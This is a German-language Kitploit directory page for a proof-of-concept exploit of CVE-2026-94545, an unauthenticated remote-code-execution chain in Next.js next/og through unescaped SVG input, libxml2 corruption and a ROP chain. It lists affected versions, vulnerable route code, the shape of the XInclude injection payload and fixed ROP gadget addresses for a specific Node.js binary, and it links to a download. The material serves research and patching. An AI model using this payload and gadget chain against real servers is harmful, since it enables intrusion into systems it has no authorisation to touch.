Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-94545- — Python-PoC für CVE-2026-94545: nutzt nicht maskierte SVG-Eingaben in Next.js next/og aus, um eine libxml2-Korruption und eine ROP-Chain für unauthentifizierte RCE auszulösen. | Kitploit
Tools/GitHubGitHub/mrdark-ops/cve-2026-94545-
Payload-GenerierungSchwachstellenanalyseExploitationShellcodeWebanwendungs-ExploitationWebsicherheitBinary-Exploitation
GitHubmrdark-ops/cve-2026-94545-

CVE-2026-94545-

Python-PoC für CVE-2026-94545: nutzt nicht maskierte SVG-Eingaben in Next.js next/og aus, um eine libxml2-Korruption und eine ROP-Chain für unauthentifizierte RCE auszulösen.

Repository anzeigen
11vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-94545: Next.js next/og Nicht authentifizierte Remote-Code-Ausführung

Nur für Sicherheitsforschung, in autorisierten Schwachstellenumgebungen.

ElementWert
CVECVE-2026-94545 / GHSA-vcvr-r3jv-pc5j
UpstreamSatori GHSA-wx4j-mvgx-mqwp
UrsacheCWE-116 (Improper Encoding or Escaping of Output) → Speicherbeschädigung im nativen XML-Parser → RCE
BetroffenNext.js 16.2.0 – 16.3.5 (Node-Runtime mit installiertem sharp); mitgeliefertes Satori ≥ 0.0.27 und < 0.33.5
BehobenNext.js 16.3.6 / Satori 0.33.5
AuswirkungAusführen beliebiger Befehle im Next.js-Dienstprozess ohne Authentifizierung
Getesteter StackNext.js 16.3.5 + sharp 0.35.4 (libvips 8.18.6, librsvg 2.62.91, libxml2 2.15.3) + Node.js v24.20.0 offizielles x64-Binary (non-PIE)

Bei der Edge-Runtime (export const runtime = 'edge') oder wenn sharp nicht installiert ist, erfolgt das Rendering über die resvg-wasm-Sandbox, sodass diese Schwachstelle die native Parsing-Kette nicht erreicht und daher nicht zur RCE wird.

Schwachstellenkette

Benutzereingaben werden als Klartext in das SVG eingefügt, und dieses SVG wird dann vollständig in eine data:-URL gestopft und einem XML-Parser in C übergeben, der es ein zweites Mal parst. Dazwischen wird lediglich URL-Encoding durchgeführt; XML-Escaping findet nie statt.

Ebene 1: App Router — Nicht vertrauenswürdige Eingaben gelangen in die Render-Funktion

Typisches Muster: POST /api/og platziert den gesamten Request-Body, oder GET /api/og?value= platziert den Query-Parameter, direkt in das SVG-<title> von ImageResponse, ohne Filterung oder Escaping.

import { ImageResponse } from 'next/og'

export const runtime = 'nodejs'
export const dynamic = 'force-dynamic'

async function render(request) {
  const url = new URL(request.url)
  const value = request.method === 'POST'
    ? await request.text()
    : (url.searchParams.get('value') ?? '')
  return new ImageResponse(
    <svg width="1200" height="630"><title>{value}</title></svg>,
    { width: 1200, height: 630 }
  )
}

export const GET = render
export const POST = render

ImageResponse empfängt einen JSX-Elementbaum und gibt ein PNG zurück. Jede Route, die Anfragedaten in SVG-Kindknoten / Attribute / Styles schreibt, ist eine Senke.

Ebene 2: Weiterleitung des next/og-Einstiegspunkts

node_modules/next/og.js leitet an next/dist/server/og/image-response.js weiter. Die Node-Laufzeit lädt dynamisch next/dist/compiled/@vercel/og/index.node.js (nativer Pfad); die Edge-Laufzeit lädt den wasm-Pfad und ist von dieser Schwachstelle nicht betroffen.

Ebene 3: @vercel/og — Satori erzeugt das SVG und übergibt es dann zur Rasterisierung

Der Ablauf des von Next.js gebündelten @vercel/og (Kommentare im kompilierten Artefakt bestätigen, dass es [email protected] enthält) ist:

  1. Satori verwenden, um den JSX-Baum in einen SVG-String zu serialisieren.
  2. Wenn sharp erkannt wird, das SVG an die native Bibliothek zur Rasterisierung übergeben; andernfalls auf resvg-wasm zurückfallen.
const svg = await satori2(element, { width, height, fonts, ... })
if (sharp) {
  pngBuffer = await sharp(new TextEncoder().encode(svg)).resize(width).png().toBuffer()
} else {
  const resvgJS = new resvg.Resvg(svg, { fitTo: { mode: ... } })
}

An diesem Punkt ist die Benutzereingabe bereits zu einem SVG-String geworden und wird unverändert an sharp (native libvips) übergeben.

Ebene 4: Satori 0.25.0 — Text wird nur URL-kodiert, niemals XML-escaped

Für ein <svg>, das explizit in JSX geschrieben wurde, serialisiert Satori es vollständig in eine data:image/svg+xml-URL und bettet es dann als <image> in die Ausgabe ein.

vercel/[email protected] src/layout.ts: ruft SVGNodeToImage auf, wenn ein <svg>-Knoten betreten wird.

src/handler/preprocess.ts hat zwei entscheidende Schwachstellen:

const SVGSymbols = /[\r\n%#()<>?[\\\]^`{|}"']/g   // Only used for URI percent-encoding

export function translateSVGNodeToSVGString(node, inheritedColor) {
  if (typeof node !== 'object') return String(node)  // Flaw 1: string child nodes are returned as-is, with no XML entity escaping
  return `<${type}${attrs}${styles}>${translateSVGNodeToSVGString(children, currentColor)}</${type}>`
}

export async function SVGNodeToImage(element, inheritedColor) {
  return `data:image/svg+xml;utf8,${`<svg ...>...</svg>`.replace(SVGSymbols, encodeURIComponent)}`
  // Flaw 2: only URI percent-encoding is performed, not XML escaping
}

&, < und > werden nicht als &amp; / &lt; / &gt; geschrieben. Die Prozentkodierung ist lediglich eine Anforderung der URL-Syntax; wenn der nachgelagerte Parser die data:-URL lädt, wird %3C/title%3E in ein echtes </title> zurückverwandelt, und der Text des Angreifers geht von „Daten“ zurück in „Dokumentstruktur“ über.

Wenn die Eingabe </title><xi:include …/><title> lautet, nimmt das von Satori an sharp übergebene Zwischen-SVG die folgende Form an (zur Veranschaulichung dekodiert):

<svg width="1200" height="630" viewBox="0 0 1200 630" xmlns="http://www.w3.org/2000/svg">
  <image x="0" y="0" width="1200" height="630"
     href="data:image/svg+xml;utf8,...<title></title><xi:include
           xmlns:xi='http://www.w3.org/2001/XInclude'
           href='data:image/svg+xml,...' parse='xml'/><title></title>..." />
</svg>

Ebene 5: sharp → libvips → librsvg → libxml2 — Native Parsing und Speicherbeschädigung

sharp(SVG buffer)
 → libvips  vips_foreign_load_svg_buffer()
 → librsvg  rsvg_handle_new_from_stream_with_flags()
              ├─ Parses the outer SVG
              ├─ When it encounters <image href="data:image/svg+xml,...">, loads and re-parses the sub-document
              └─ XML parsing is delegated to libxml2
 → libxml2  xmlStringLenDecodeEntities / xmlXIncludeProcessNode / xmlXIncludeLoadDoc

Die Payload nutzt zwei Injektionsebenen, um die Eingabestruktur von libxml2 zu steuern:

  1. Das äußere </title><xi:include parse="xml" href="data:…"> bringt den Parser dazu, ein verschachteltes Dokument zu laden, das vollständig vom Angreifer kontrolliert wird.
  2. Innerhalb des verschachtelten Dokuments werden dann verschachtelte DTD-Entities + XInclude verwendet, um einen übermäßig tiefen / breiten Entity-Expansion- und Referenzgraphen aufzubauen.

Der interne Zustand von libxml2 wird über die Erwartungen hinaus belastet, was zu einem Out-of-Bounds-Write führt. Der Korruptionseffekt wird zuverlässig über sorgfältig angeordnete SVG-<path>-Koordinatensequenzen (IEEE-754-Doubles, die 8-Byte-Little-Endian-Wörter tragen) herbeigeführt, wodurch der Kontrollfluss gekapert wird.

Ebene 6: Non-PIE-Node-Fixed-Address-ROP → execve

Das offiziell veröffentlichte Node.js-linux-x64-Binary ist eine Non-PIE-Executable mit fester Ladebasis; PLT-/GOT- und Gadget-Adressen sind konstant, sodass kein Informationsleck erforderlich ist.

Dieser PoC ist gegen Node.js v24.20.0 offizielles x64 gebaut; die Gadgets sind wie folgt:

SymbolAdresseZweck
POP_RDI0xA1EAEDpop rdi ; ret
POP_RAX0x7F38D4pop rax ; ret
POP_RSI0x95823Dpop rsi ; ret
POP_RDX0x776758pop rdx ; ret
STOSQ_RET0xD16725stosq ; ret (schreibt Qword für Qword in den Scratch-Bereich)
EXECVE_PLT0x745FA0PLT-Stub von execve
SCRATCH0x6B5F500Feste beschreibbare Adresse
Tool herunterladen